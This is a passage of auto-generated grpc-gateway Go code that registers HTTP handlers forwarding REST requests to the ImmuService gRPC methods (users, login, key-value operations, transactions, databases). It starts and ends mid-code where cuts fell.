runtime.MarshalerForRequest(mux, req) runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return }) mux.Handle("GET", pattern_ImmuService_ListTables_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_ListTables_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_ListTables_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_DescribeTable_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_DescribeTable_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_DescribeTable_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_VerifiableSQLGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_VerifiableSQLGet_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_VerifiableSQLGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_TruncateDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_TruncateDatabase_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_TruncateDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) return nil } // RegisterImmuServiceHandlerFromEndpoint is same as RegisterImmuServiceHandler but // automatically dials to "endpoint" and closes the connection when "ctx" gets done. func RegisterImmuServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) { conn, err := grpc.Dial(endpoint, opts...) if err != nil { return err } defer func() { if err != nil { if cerr := conn.Close(); cerr != nil { grpclog.Infof("Failed to close conn to %s: %v", endpoint, cerr) } return } go func() { <-ctx.Done() if cerr := conn.Close(); cerr != nil { grpclog.Infof("Failed to close conn to %s: %v", endpoint, cerr) } }() }() return RegisterImmuServiceHandler(ctx, mux, conn) } // RegisterImmuServiceHandler registers the http handlers for service ImmuService to "mux". // The handlers forward requests to the grpc endpoint over "conn". func RegisterImmuServiceHandler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error { return RegisterImmuServiceHandlerClient(ctx, mux, NewImmuServiceClient(conn)) } // RegisterImmuServiceHandlerClient registers the http handlers for service ImmuService // to "mux". The handlers forward requests to the grpc endpoint over the given implementation of "ImmuServiceClient". // Note: the gRPC framework executes interceptors within the gRPC handler. If the passed in "ImmuServiceClient" // doesn't go through the normal gRPC flow (creating a gRPC client etc.) then it will be up to the passed in // "ImmuServiceClient" to call the correct interceptors. func RegisterImmuServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux, client ImmuServiceClient) error { mux.Handle("GET", pattern_ImmuService_ListUsers_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_ListUsers_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_ListUsers_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_CreateUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_CreateUser_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_CreateUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_ChangePassword_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_ChangePassword_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_ChangePassword_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_ChangePermission_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_ChangePermission_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_ChangePermission_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_ChangeSQLPrivileges_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_ChangeSQLPrivileges_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_ChangeSQLPrivileges_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_SetActiveUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_SetActiveUser_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_SetActiveUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_Login_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_Login_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_Login_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_Logout_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_Logout_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_Logout_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_Set_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_Set_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_Set_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_VerifiableSet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_VerifiableSet_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_VerifiableSet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_ImmuService_Get_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_Get_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_Get_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_VerifiableGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_VerifiableGet_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_VerifiableGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_Delete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_Delete_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_Delete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_GetAll_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_GetAll_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_GetAll_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_ExecAll_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_ExecAll_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_ExecAll_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_Scan_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_Scan_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_Scan_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_ImmuService_Count_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_Count_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_Count_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_ImmuService_CountAll_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_CountAll_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_CountAll_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_ImmuService_TxById_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_TxById_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_TxById_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_ImmuService_VerifiableTxById_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_VerifiableTxById_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_VerifiableTxById_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_TxScan_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_TxScan_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_TxScan_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_History_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_History_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_History_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_ImmuService_ServerInfo_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_ServerInfo_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_ServerInfo_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_ImmuService_Health_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_Health_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_Health_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_ImmuService_DatabaseHealth_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_DatabaseHealth_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_DatabaseHealth_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_ImmuService_CurrentState_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_CurrentState_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_CurrentState_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_SetReference_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_SetReference_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_SetReference_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_VerifiableSetReference_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_VerifiableSetReference_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_VerifiableSetReference_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_ZAdd_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_ZAdd_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_ZAdd_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_VerifiableZAdd_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_VerifiableZAdd_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_VerifiableZAdd_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_ZScan_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_ZScan_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_ZScan_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_CreateDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_CreateDatabase_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_CreateDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_CreateDatabaseWith_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_CreateDatabaseWith_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_CreateDatabaseWith_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_CreateDatabaseV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_CreateDatabaseV2_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_CreateDatabaseV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_LoadDatabase_0, func(w 